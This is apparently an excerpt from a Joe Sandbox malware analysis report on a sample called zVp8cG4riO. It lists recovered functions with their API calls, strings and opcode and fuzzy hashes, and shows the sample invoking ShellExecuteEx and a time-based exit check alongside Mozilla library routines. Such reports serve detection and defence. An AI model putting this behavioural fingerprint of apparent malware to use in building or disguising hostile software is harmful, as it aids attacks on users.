Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: 6d1a1abe6e6826a1ce0dbdd1ef6ea650f8487a8d622505b14063b63e06140071
Instruction ID: 87859f0eaa1cac66c0422607c8296a2f5b7cfd88fdb957a476e5adb471fb7cf1
Opcode Fuzzy Hash: 6d1a1abe6e6826a1ce0dbdd1ef6ea650f8487a8d622505b14063b63e06140071
Instruction Fuzzy Hash: 00414EB0A00208EBDB04DFA5DC55FDE7B75BF44304F108119F909AB295DB78AE85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15E7
free.MOZGLUE(?,?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1637

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction ID: 8bbff728306fe9d9c9f6a39cdabba4a23f631d64e98f10f05635dd45d8b24a1d
Opcode Fuzzy Hash: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction Fuzzy Hash: EC31D3B2A001048BCB588F6DD85046E77A9FF813647250B2DE833DBBE4FB30D9168791

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AD9D

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE01
GetLastError.KERNEL32(?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE3D

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction ID: 21237eb89d1b05ba8d7f0ee8e3fda4f672cf9e3017dee2c4959de883ba4ee491
Opcode Fuzzy Hash: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction Fuzzy Hash: 0F312DB1A002159FDB10DF7A8C44AABB7F8AF49614F558839E99AD7750E734E804CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CD5DCA0,?,?,?,6CD1E8B5,00000000), ref: 6CD45F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CD1E8B5,00000000), ref: 6CD45F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CD1E8B5,00000000), ref: 6CD45F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45FD6

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction ID: cd45d662722773b1dae90feaab955162df4b9c9dc026c4df92be6d9bd7e0aa7d
Opcode Fuzzy Hash: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction Fuzzy Hash: 8B310B34300600DFD715CF29C898A2AB7F9FF89319BA48558FA568B7A5D731EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CCEB532
moz_xmalloc.MOZGLUE(?), ref: 6CCEB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCEB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CCEB57E
free.MOZGLUE(00000000), ref: 6CCEB58F

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction ID: fd6cfae502acbb1bd9c42dd7a439e4fbb9bd7ee0bd6be6e1b7d11617898246c8
Opcode Fuzzy Hash: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction Fuzzy Hash: 3221F371A012059BDB008F69CC50BBAFBB9FF8A314F284029E919DB391F776D911C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD46E78

Part of subcall function 6CD46A10: InitializeCriticalSection.KERNEL32(6CD6F618), ref: 6CD46A68
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46A7D
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46AA1
Part of subcall function 6CD46A10: EnterCriticalSection.KERNEL32(6CD6F618), ref: 6CD46AAE
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46AE1
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46B15
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CD46B65
Part of subcall function 6CD46A10: LeaveCriticalSection.KERNEL32(6CD6F618,?,?), ref: 6CD46B83

MozFormatCodeAddress.MOZGLUE ref: 6CD46EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CD46EFF

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction ID: ceda1c0dc252da81d36141938c40a577b7e4458489dcd13f23335805f271e7b5
Opcode Fuzzy Hash: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction Fuzzy Hash: 1A21A471A042199FDB00CF69D8856EE7BF9EF84308F048039E94997351DB719A59CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 004135E0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0041D8AC,?,?,004137D1,00000000,?,02F66AB8,?,0041D8AC,?,00000000,?), ref: 0041362C
sscanf.NTDLL ref: 00413659
SystemTimeToFileTime.KERNEL32(0041D8AC,00000000,?,?,?,?,?,?,?,?,?,?,?,02F66AB8,?,0041D8AC), ref: 00413672
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02F66AB8,?,0041D8AC), ref: 00413680
ExitProcess.KERNEL32 ref: 0041369A

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 1317ddf1f9c1afdd93909f223843f69075992d328c88535c6b58c76ddc48183c
Instruction ID: a268315634fda69ed0a537ef202e87298384d27024bdd5aae2ec85167a5c17e0
Opcode Fuzzy Hash: 1317ddf1f9c1afdd93909f223843f69075992d328c88535c6b58c76ddc48183c
Instruction Fuzzy Hash: 6421BA75D14209ABCB14EFE4D945AEEB7BABF4C305F04852EE50AE3250EB345644CB68

Uniqueness

Uniqueness Score: -1.00%

Function 6CD476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CD476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CD47705

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CD47717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CD4778F,00000000,00000000,00000000,00000000), ref: 6CD47731
free.MOZGLUE(00000000), ref: 6CD47760

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction ID: eec42ace54988fe46bd0d5dbb9fc7abfa3ee1c9f843c3b4c322c7e9c8fdd9624
Opcode Fuzzy Hash: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction Fuzzy Hash: 5811C8B1A01215ABE710AF768C44B6B7EE8EF45354F054529F988E7310F7719844CBF2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CCE3DEF), ref: 6CD20D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CCE3DEF), ref: 6CD20D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CCE3DEF), ref: 6CD20DAF

Strings

<jemalloc>, xrefs: 6CD20D92, 6CD20DB9
: (malloc) Error in VirtualFree(), xrefs: 6CD20D97, 6CD20DBE

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction ID: a64967e98263a382057a9d27233597f26c2d3cabff41a52650da7658ad953627
Opcode Fuzzy Hash: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction Fuzzy Hash: 0AF0BB3139125473E71413770C29B66265D67C2B98F244026F344DAEE0DA58F401C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 004185A7 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004185B3

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__getptd.LIBCMT ref: 004185CA
__amsg_exit.LIBCMT ref: 004185D8
__lock.LIBCMT ref: 004185E8
__updatetlocinfoEx_nolock.LIBCMT ref: 004185FC

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction ID: cdd0eec35e4bf80da2317afb9b55000317a90f0185e5a3c9ee5e330d7cc08b67
Opcode Fuzzy Hash: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction Fuzzy Hash: A4F09632A49710AAD721BBBA9C027CA77B1AF00739F10411FF505A62D2CF6C69C1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D751

Strings

MOZ_CRASH(), xrefs: 6CD0D4BB

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction ID: 602cb2db536553e34691b853db660de3c2ca18b77fd11309b46cf8de5b989026
Opcode Fuzzy Hash: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction Fuzzy Hash: E051C271B04B058FE314CF29C59472AB7E5EB89314F54492ED69AC7FA5D770E800CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD34721

Part of subcall function 6CCE4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CD23EBD,00000017,?,00000000,?,6CD23EBD,?,?,6CCE42D2), ref: 6CCE4444

Strings

profiler-paused, xrefs: 6CD346E4
., xrefs: 6CD3476A
-%llu, xrefs: 6CD34733

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction ID: 0c3d044e8bf3b85cd38fb4949af232973f9a55359eed44bdd975c86722ca8af7
Opcode Fuzzy Hash: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction Fuzzy Hash: 65313BB1F042189BCB08DF6DD8856ADBFE6DB89314F14413DE8099BB51E7759C04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23EBD,6CD23EBD,00000000), ref: 6CCE42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CD3B127), ref: 6CD3B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD3B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CD3B4E4

Strings

pid:, xrefs: 6CD3B4DE

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction ID: 60eb0fb33cf7a66c10c32a1d158be624d99192151786cc13b9fb9b0fed024d44
Opcode Fuzzy Hash: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction Fuzzy Hash: C2312531A01628EBDB00DFA9D880AAEB7B5FF46308F14152DD84567A90D731E845CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 004132F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00413323

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

ShellExecuteEx.SHELL32(0000003C), ref: 004133E6
ExitProcess.KERNEL32 ref: 00413415

Strings

<, xrefs: 00413399

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 8348684024e402800b006db25d072bbdb9f7f17d7e6b06a6f6636af5da381a65
Instruction ID: 9270ca21e45796c21bf284f368f95b7d0dbf71ea93a5a7258f1c6a627d8bac6b
Opcode Fuzzy Hash: 8348684024e402800b006db25d072bbdb9f7f17d7e6b06a6f6636af5da381a65
Instruction Fuzzy Hash: 383144B19012189BDB14EB91DD91FDDBB78AF48304F80518DF20566191DF746B89CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD2E577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E584
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD2E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CD2E5A1, 6CD2E5CC, 6CD2E5FF, 6CD2E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CD2E722, 6CD2E750, 6CD2E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CD2E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CD2E826, 6CD2E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CD2E777

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
